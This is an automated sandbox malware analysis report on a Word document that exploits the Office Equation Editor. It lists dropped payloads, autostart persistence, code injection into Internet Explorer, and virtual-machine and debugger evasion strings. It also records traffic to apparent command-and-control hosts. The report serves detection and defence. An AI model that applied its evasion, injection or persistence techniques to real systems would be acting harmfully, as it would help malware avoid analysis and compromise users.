Analysis Report

Overview

General Information

Joe Sandbox Version:	21.0.0
Analysis ID:	487031
Start time:	19:13:34
Joe Sandbox Product:	Cloud
Start date:	24.01.2018
Overall analysis duration:	0h 9m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	DoNotOpen2.doc
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 (Office 2010 SP2, Java 1.8.0_40, Flash 16.0.0.305, Acrobat Reader 11.0.08, Internet Explorer 11, Chrome 55, Firefox 43)
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies	HCA enabled EGA enabled GSI enabled (VBA) GSI enabled (Javascript)
Detection:	MAL
Classification:	mal96.evad.expl.troj.winDOC@7/13@7/2
HCA Information:	Successful, ratio: 100% Number of executed functions: 43 Number of non-executed functions: 73
EGA Information:	Successful, ratio: 100%
Cookbook Comments:	Found application associated with file extension: .doc Found Word or Excel or PowerPoint document Simulate clicks Number of clicks 27 Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): OSPPSVC.EXE, WmiApSrv.exe, WMIADAP.exe, dllhost.exe Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtEnumerateKey calls found. Report size getting too big, too many NtEnumerateValueKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found. Skipping Hybrid Code Analysis (implementation is based on Java, .Net, VB or Delphi, or parses a document) for: WINWORD.EXE

Detection

Strategy	Score	Range	Reporting	Detection
Threshold	96	0 - 100	Report FP / FN

Confidence

Strategy	Score	Range	Further Analysis Required?	Confidence
Threshold	5	0 - 5	false

Classification

Analysis Advice

Sample drops PE files which have not been started, submit dropped PE samples for a secondary analysis to Joe Sandbox

Sample has a GUI, but Joe Sandbox has not found any clickable buttons, likely more UI automation may extend behavior

Sample monitors Window changes (e.g. starting applications), analyze the sample with the 'Simulates keyboard and window changes' cookbook

Signature Overview

Click to jump to signature section

Exploits:

Office Equation Editor has been started

Show sources

Source: unknown	Process created: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Show sources

Source: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE

Process created: C:\Program Files\Internet Explorer\iexplore.exe

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Creates a window with clipboard capturing capabilities

Show sources

Source: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE

Window created: window name: CLIPBRDWNDCLASS

Software Vulnerabilities:

Potential document exploit detected (performs DNS queries)

Show sources

Source: global traffic

DNS query: name: api.ipaddress.com

Potential document exploit detected (performs HTTP gets)

Show sources

Source: global traffic

TCP traffic: 192.168.1.16:49188 -> 209.126.119.177:80

Potential document exploit detected (unknown TCP traffic)

Show sources

Source: global traffic

TCP traffic: 192.168.1.16:49188 -> 209.126.119.177:80

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: a.b.1.dr

Networking:

Downloads files

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word

Downloads files from webservers via HTTP

Show sources

Source: global traffic

HTTP traffic detected: GET /myip?format=txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: api.ipaddress.com

Performs DNS lookups

Show sources

Source: unknown

DNS traffic detected: queries for: api.ipaddress.com

Posts data to webserver

Show sources

Source: unknown

HTTP traffic detected: POST /goix/nhbqad.asp HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheAccept: application/jason,application/xml, q=0.9,*/*, q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-USCookie: 339hndxz=0wEEgqeI/L2qQmlVILDcCEjSuUvCsdzViNvvozbedxbAdA==; o49jg=zWVEEy8HHngAYbc+1rE0gJkrvAStoctjYgNpv4k6Szt9NkBBW93Ico9ieReFMojFzEeoAHCYHUFDrRQsvDbgYVM2KqbYbWq/OaEJQ5mDN6c=; 5f51il=InuyYTmulipC/qjau0zml1Nu7+ym09aui/5ksuwxMGq7sY44kB6xGZGq/lwuTsKXbhsr7wKboki43IbVzk8H3Si3N/B0rCRkIuwEFKiK8ys=;Host: 3.sj2xp1.paj.orgUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoContent-Length: 3394

Urls found in memory or binary data

Show sources

Source: WINWORD.EXE	String found in binary or memory: file:///
Source: WINWORD.EXE	String found in binary or memory: file:///C:
Source: WINWORD.EXE	String found in binary or memory: file:///C:/Users/user/Desktop/DoNotOpen2.doc
Source: WINWORD.EXE	String found in binary or memory: file:///C:/Users/user/Desktop/DoNotOpen2.docE
Source: WINWORD.EXE	String found in binary or memory: file:///C:/Users/user/Desktop/DoNotOpen2.docO
Source: explorer.exe	String found in binary or memory: file:///C:/Users/user/Documents
Source: explorer.exe	String found in binary or memory: file:///C:/Users/user/Documentsrs
Source: iexplore.exe	String found in binary or memory: http://
Source: iexplore.exe	String found in binary or memory: http://%s
Source: iexplore.exe	String found in binary or memory: http://%sConnectType
Source: iexplore.exe	String found in binary or memory: http://103.236.150.14
Source: iexplore.exe	String found in binary or memory: http://103.236.150.14192.168.1.16
Source: iexplore.exe	String found in binary or memory: http://api.ipaddress.com/myip?format=txt
Source: iexplore.exe	String found in binary or memory: http://api.ipaddress.com/myip?format=txt1
Source: iexplore.exe	String found in binary or memory: http://https://:
Source: iexplore.exe	String found in binary or memory: http://https://Try
Source: WINWORD.EXE	String found in binary or memory: http://schemas.openx
Source: WINWORD.EXE	String found in binary or memory: http://schemas.openxDV
Source: WINWORD.EXE	String found in binary or memory: http://schemas.openxmlformat
Source: WINWORD.EXE	String found in binary or memory: http://schemas.openxmlformatDV
Source: explorer.exe	String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: WINWORD.EXE	String found in binary or memory: http://www.
Source: explorer.exe	String found in binary or memory: http://www.%s.comPA
Source: WINWORD.EXE	String found in binary or memory: http://www.msnusers.com
Source: iexplore.exe	String found in binary or memory: https://
Source: iexplore.exe	String found in binary or memory: https://%s
Source: iexplore.exe	String found in binary or memory: https://%sTry
Source: explorer.exe	String found in binary or memory: https://en.wikipedia.org/wiki/XSLT/Muenchian_grouping

May check the online IP address of the machine

Show sources

Source: unknown	DNS query: name: api.ipaddress.com
Source: unknown	DNS query: name: api.ipaddress.com
Source: unknown	DNS query: name: api.ipaddress.com
Source: unknown	DNS query: name: api.ipaddress.com
Source: unknown	DNS query: name: api.ipaddress.com
Source: unknown	DNS query: name: api.ipaddress.com
Source: unknown	DNS query: name: api.ipaddress.com

Boot Survival:

Creates an autostart registry key

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run IAStorD
Source: C:\Program Files\Internet Explorer\iexplore.exe	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run IAStorD
Source: C:\Program Files\Internet Explorer\iexplore.exe	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run IAStorD
Source: C:\Program Files\Internet Explorer\iexplore.exe	Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run IAStorD

Creates an autostart registry key pointing to binary in C:\Windows

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

Registry value created or modified: HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run IAStorD

Remote Access Functionality:

Contains functionality to launch a control a shell (cmd.exe)

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

Code function: \cmd.exe /c

3_2_00515486

Stealing of Sensitive Information:

Searches for user specific document files

Show sources

Source: C:\Windows\explorer.exe	Key value created or modified: C:\Users\user\Documents
Source: C:\Windows\explorer.exe	Key value created or modified: C:\Users\user\Documents
Source: C:\Windows\explorer.exe	Key value created or modified: C:\Users\Public\Documents
Source: C:\Windows\explorer.exe	Key value created or modified: C:\Users\user\Documents
Source: C:\Windows\explorer.exe	Key value created or modified: C:\Users\user\Documents\QLSSZNHVJI

Persistence and Installation Behavior:

Contains functionality to read ini properties file for application configuration

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

Code function: 3_2_005114F8 memset,memset,memset,SHGetSpecialFolderPathW,___swprintf_l,GetPrivateProfileStringW,memset,memset,_wfopen,fgetws,wcsstr,wcsstr,_wtoi,feof,fclose,___swprintf_l,

3_2_005114F8

Drops PE files

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Caches\NavShExt.dll
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user~1\AppData\Local\Temp\a.b

Drops files with a non-matching file extension (content does not match file extension)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user~1\AppData\Local\Temp\a.b

Data Obfuscation:

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

Code function: 3_2_00517143 GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,memset,GetUserNameA,MultiByteToWideChar,WideCharToMultiByte,ConvertSidToStringSidA,

3_2_00517143

Uses code obfuscation techniques (call, push, ret)

Show sources

Source: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_617B34A3 push ecx; ret		2_2_617B34B6
Source: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_617B3329 push ecx; ret		2_2_617B333C

System Summary:

Reads the Windows registered owner settings

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Uses Rich Edit Controls

Show sources

Source: C:\Windows\explorer.exe

File opened: C:\Windows\system32\MsftEdit.dll

Found graphical window changes (likely an installer)

Show sources

Source: Window Recorder

Window detected: More than 3 window changes detected

Checks if Microsoft Office is installed

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_USERS\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_50916076bcb9a742\MSVCR90.dll

Binary contains paths to development resources

Show sources

Source: iexplore.exe

Binary or memory string: 3.vbP.v

Classification label

Show sources

Source: classification engine

Classification label: mal96.evad.expl.troj.winDOC@7/13@7/2

Contains functionality to check free disk space

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

Code function: 3_2_00516D52 GetModuleHandleW,GetProcAddress,GetTempPathW,GetDiskFreeSpaceExW,

3_2_00516D52

Contains functionality to enum processes or threads

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

Code function: 3_2_004F2A05 CreateToolhelp32Snapshot,memset,memset,Process32FirstW,___swprintf_l,Process32NextW,CloseHandle,

3_2_004F2A05

Creates files inside the user directory

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$NotOpen2.doc

Creates temporary files

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user~1\AppData\Local\Temp\CVR12AE.tmp

Launches a second explorer.exe instance

Show sources

Source: unknown	Process created: C:\Windows\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe

Reads ini files

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Reads software policies

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Reads the Windows registered organization settings

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Spawns processes

Show sources

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /n 'C:\Users\user\Desktop\DoNotOpen2.doc
Source: unknown	Process created: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown	Process created: C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe
Source: unknown	Process created: C:\Windows\explorer.exe explorer.exe C:\Windows\system32\rundll32.exe C:\Users\user\AppData\Roaming\Microsoft\Windows\Caches\NavShExt.dll,Setting
Source: unknown	Process created: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE	Process created: C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe

Uses an in-process (OLE) Automation server

Show sources

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{35786D3C-B075-49b9-88DD-029876E11C01}\InProcServer32

PE file has section (not .text) which is very likely to contain packed code (zlib compression ratio < 0.011)

Show sources

Source: NavShExt.dll.3.dr

Static PE information: Section: .data ZLIB complexity 0.998944256757

Detected potential crypto function

Show sources

Source: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_617B223D	2_2_617B223D
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_004F13F5	3_2_004F13F5
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_00513ABC	3_2_00513ABC
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_00519361	3_2_00519361
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_00519958	3_2_00519958
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_005186ED	3_2_005186ED
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_00519591	3_2_00519591
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_00518EF8	3_2_00518EF8

Found potential string decryption / allocating functions

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

Code function: String function: 00517FBE appears 69 times

Office process drops PE file

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user~1\AppData\Local\Temp\a.b

HIPS / PFW / Operating System Protection Evasion:

May try to detect the Windows Explorer process (often used for injection)

Show sources

Source: iexplore.exe, explorer.exe	Binary or memory string: Progman
Source: iexplore.exe, explorer.exe	Binary or memory string: Program Manager
Source: iexplore.exe, explorer.exe	Binary or memory string: Shell_TrayWnd

Creates a process in suspended mode (likely to inject code)

Show sources

Source: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE

Process created: C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe

Contains functionality to inject code into remote processes

Show sources

Source: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_617B223D Setting,IsDebuggerPresent,CreateMutexA,GetLastError,CloseHandle,CloseHandle,memset,SHGetSpecialFolderPathA,memset,MultiByteToWideChar,GetModuleHandleW,GetProcAddress,GetProcAddress,CreateProcessA,memset,GetModuleFileNameA,GetProcAddress,GetProcAddress,VirtualAllocEx,WriteProcessMemory,GetProcAddress,CreateRemoteThread,WaitForSingleObject,WaitForSingleObject,GetExitCodeThread,CreateRemoteThread,WaitForSingleObject,VirtualFreeEx,CloseHandle,

2_2_617B223D

Contains functionality to inject threads in other processes

Show sources

Source: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE

2_2_617B223D

Anti Debugging:

Contains functionality to register its own exception handler

Show sources

Source: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_617B2860 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_617B2860
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_004F32A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_004F32A0
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_0051A460 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0051A460

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Show sources

Source: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE

System information queried: KernelDebuggerInformation

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Show sources

Source: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE

2_2_617B223D

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

Code function: 3_2_00517143 GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,memset,GetUserNameA,MultiByteToWideChar,WideCharToMultiByte,ConvertSidToStringSidA,

3_2_00517143

Malware Analysis System Evasion:

Contains functionality to query system information

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

Code function: 3_2_00517535 GetSystemInfo,

3_2_00517535

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Show sources

Source: iexplore.exe	Binary or memory string: vmtools.exe
Source: iexplore.exe	Binary or memory string: SYSTEM\ControlSet001\services\Disk\Enum0x3A RegOpenKeyExW Disk Failed-%d0vmwareqemuvboxvirtualhdSoftware\CommViewSoftware\eEye Digital SecuritySoftware\Win SnifferSoftware\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\APIS32Software\Syser SoftSoftware\Classes\Folder\shell\sandboxSoftware\Classes\*\shell\sandboxSYSTEM\CurrentControlSet\Services\IRIS5SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WiresharkSOFTWARE\ZxSnifferSYSTEM\CurrentControlSet\Services\VBoxGuestSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Oracle VM VirtualBox Guest AdditionsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSandboxie%svboxtray.exevboxservice.exevmwareuser.exevmwaretray.exevmupgradehelper.exevmtoolsd.exevmacthlp.exevmtools.exeirise.exeIrisSvc.exewireshark.exeZxSniffer.exeRegshot.exeollydbg.exewindbg.exePEBrowseDbg.exeSyser.exeSandboxieRpcSs.exeSandboxieDcomLaunch.exe%02X%02X%02X%02X%02X%02X 000569000C29001C1400505600155D00163E080027H
Source: iexplore.exe	Binary or memory string: SYSTEM\CurrentControlSet\Services\VBoxGuest
Source: iexplore.exe	Binary or memory string: vmware
Source: iexplore.exe	Binary or memory string: vmwaretray.exe
Source: iexplore.exe	Binary or memory string: vmwareuser.exe
Source: iexplore.exe	Binary or memory string: vmtoolsd.exe
Source: iexplore.exe	Binary or memory string: vboxservice.exe
Source: iexplore.exe	Binary or memory string: vboxtray.exe

Contains functionality to query network adapater information

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: ??2@YAPAXI@Z,memset,GetAdaptersInfo,??3@YAXPAX@Z,??2@YAPAXI@Z,GetAdaptersInfo,memset,___swprintf_l,??3@YAXPAX@Z,strstr,strstr,strstr,strstr,strstr,strstr,strstr,	3_2_004F2FA1
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: ??2@YAPAXI@Z,GetAdaptersInfo,??3@YAXPAX@Z,??2@YAPAXI@Z,GetAdaptersInfo,??3@YAXPAX@Z,___swprintf_l,realloc,___swprintf_l,___swprintf_l,realloc,___swprintf_l,realloc,___swprintf_l,??3@YAXPAX@Z,	3_2_005177AB
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: ??2@YAPAXI@Z,GetAdaptersInfo,??3@YAXPAX@Z,??2@YAPAXI@Z,GetAdaptersInfo,??3@YAXPAX@Z,	3_2_00514B82
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: ??2@YAPAXI@Z,GetAdaptersInfo,??3@YAXPAX@Z,??2@YAPAXI@Z,GetAdaptersInfo,??3@YAXPAX@Z,	3_2_00514AAC

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Show sources

Source: C:\Windows\explorer.exe

Window / User API: threadDelayed 816

Found dropped PE file which has not been started or loaded

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\a.b

May sleep (evasive loops) to hinder dynamic analysis

Show sources

Source: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE TID: 3440	Thread sleep time: -60000s >= -60000s
Source: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE TID: 3440	Thread sleep time: -60000s >= -60000s
Source: C:\Windows\explorer.exe TID: 3540	Thread sleep time: -180000s >= -60000s
Source: C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE TID: 3536	Thread sleep time: -60000s >= -60000s

Contains functionality to detect sandboxes (MAC address check)

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_004F2FA1 ??2@YAPAXI@Z,memset,GetAdaptersInfo,??3@YAXPAX@Z,??2@YAPAXI@Z,GetAdaptersInfo,memset,___swprintf_l,??3@YAXPAX@Z,strstr,strstr,strstr,strstr,strstr,strstr,strstr,	3_2_004F2FA1
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_004F2FA1 ??2@YAPAXI@Z,memset,GetAdaptersInfo,??3@YAXPAX@Z,??2@YAPAXI@Z,GetAdaptersInfo,memset,___swprintf_l,??3@YAXPAX@Z,strstr,strstr,strstr,strstr,strstr,strstr,strstr,	3_2_004F2FA1
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_004F2FA1 ??2@YAPAXI@Z,memset,GetAdaptersInfo,??3@YAXPAX@Z,??2@YAPAXI@Z,GetAdaptersInfo,memset,___swprintf_l,??3@YAXPAX@Z,strstr,strstr,strstr,strstr,strstr,strstr,strstr,	3_2_004F2FA1

Contains functionality to detect sandboxes (registry check)

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_004F28FC RegOpenKeyExW,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,	3_2_004F28FC
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_004F28FC RegOpenKeyExW,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,	3_2_004F28FC
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_004F28FC RegOpenKeyExW,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,	3_2_004F28FC
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_004F28FC RegOpenKeyExW,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,	3_2_004F28FC
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_004F28FC RegOpenKeyExW,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,	3_2_004F28FC
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_004F28FC RegOpenKeyExW,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,	3_2_004F28FC
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_004F28FC RegOpenKeyExW,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,	3_2_004F28FC
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_004F28FC RegOpenKeyExW,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,	3_2_004F28FC
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_004F28FC RegOpenKeyExW,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,	3_2_004F28FC
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_004F28FC RegOpenKeyExW,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,	3_2_004F28FC
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 3_2_004F28FC RegOpenKeyExW,RegOpenKeyExW,RegCloseKey,RegOpenKeyExW,RegCloseKey,	3_2_004F28FC

Contains functionality to detect virtual machines (IN, VMware)

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe

Code function: 3_2_004F278F in eax, dx

3_2_004F278F

Tries to detect sandboxes and other dynamic analysis tools (process name)

Show sources

Source: iexplore.exe	Binary or memory string: WINDBG.EXE
Source: iexplore.exe	Binary or memory string: IRISE.EXE
Source: iexplore.exe	Binary or memory string: SANDBOXIERPCSS.EXE
Source: iexplore.exe	Binary or memory string: WIRESHARK.EXE
Source: iexplore.exe	Binary or memory string: IRISSVC.EXE
Source: iexplore.exe	Binary or memory string: ZXSNIFFER.EXE
Source: iexplore.exe	Binary or memory string: PEBROWSEDBG.EXE
Source: iexplore.exe	Binary or memory string: SYSER.EXE
Source: iexplore.exe	Binary or memory string: OLLYDBG.EXE
Source: iexplore.exe	Binary or memory string: SANDBOXIEDCOMLAUNCH.EXE
Source: iexplore.exe	Binary or memory string: REGSHOT.EXE

Tries to detect virtual machines

Show sources

Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: vboxtray.exe vboxservice.exe vboxservice.exe vmwareuser.exe vmwaretray.exe vmtoolsd.exe vmtools.exe		3_2_004F2A05
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: vmware qemu qemu vbox		3_2_004F27E5

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
